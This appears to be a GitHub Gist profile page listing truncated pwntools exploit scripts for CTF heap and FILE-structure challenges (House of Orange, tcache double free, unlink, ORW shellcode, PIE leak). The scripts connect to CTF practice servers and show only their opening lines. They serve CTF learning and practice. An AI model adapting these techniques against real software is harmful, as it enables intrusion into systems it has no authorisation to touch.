Skip to content

Instantly share code, notes, and snippets.

View Mech0n's full-sized avatar
🏠
Working from home

Mech0n

🏠
Working from home
View GitHub Profile
@Mech0n
Mech0n / FakeFile_x64.py
Last active August 8, 2020 12:42
FakeFile_x64
def pack_file_64(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
#! /usr/bin/python
#-*- coding: utf-8 -*-
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64' , os = 'linux', log_level='debug')
p = process('./pwn')
libc = 0
@Mech0n
Mech0n / sctf2020_coolcode.py
Last active June 13, 2021 07:31
限制system和open的ORW,需要retfq
#! /usr/bin/python
#-*- coding: utf-8 -*-
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(os = 'linux', log_level='debug')
p = process('./pwn')
shellcode1 = '''
@Mech0n
Mech0n / echo_from_your_heart.py
Created August 14, 2020 12:45
House of 🍊
#! /usr/bin/python
#-*- coding: utf-8 -*-
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64' , os = 'linux', log_level='debug')
# p = process('./echo_from_your_heart')
p = remote('192.168.0.102', 1000)
libc = ELF('libc.so')
@Mech0n
Mech0n / CISCN-Final-2.py
Created August 15, 2020 14:23
Double Free && _fileno重定向
#! /usr/bin/python
#-*- coding: utf-8 -*-
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64' , os = 'linux', log_level='debug')
p = process('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#! /usr/bin/python
#-*- coding: utf-8 -*-
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64' , os = 'linux', log_level='debug')
# p = process('./pwn')
p = remote('node3.buuoj.cn', 25264)
elf = ELF('./pwn')
#! /usr/bin/python
#-*- coding: utf-8 -*-
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64' , os = 'linux', log_level='debug')
# p = process('./pwn')
p = remote('node3.buuoj.cn', 25688)
@Mech0n
Mech0n / ciscn_s_1.py
Created August 17, 2020 14:12
unlink && chunkoverlapping
#! /usr/bin/python
#-*- coding: utf-8 -*-
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64' , os = 'linux', log_level='debug')
# p = process('./pwn')
p = remote('node3.buuoj.cn', 26285)
elf = ELF('./pwn')
@Mech0n
Mech0n / sstf_t_express.py
Last active August 18, 2020 08:34
Off-by-null && glibc2.31 tcache-double-free
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64' , os = 'linux', log_level='debug')
p = process('./t_express')
libc = ELF('libc.so.6')
def debug(p, cmd):
gdb.attach(p, cmd)
from pwn import *
s = process("./eat_the_pie")
s.sendafter('Select > ','1'*0x10)
s.recvuntil("1234567890123456")
pie = u32(s.recv(4))-0x74d
success(hex(pie))
sh = 0x31A+pie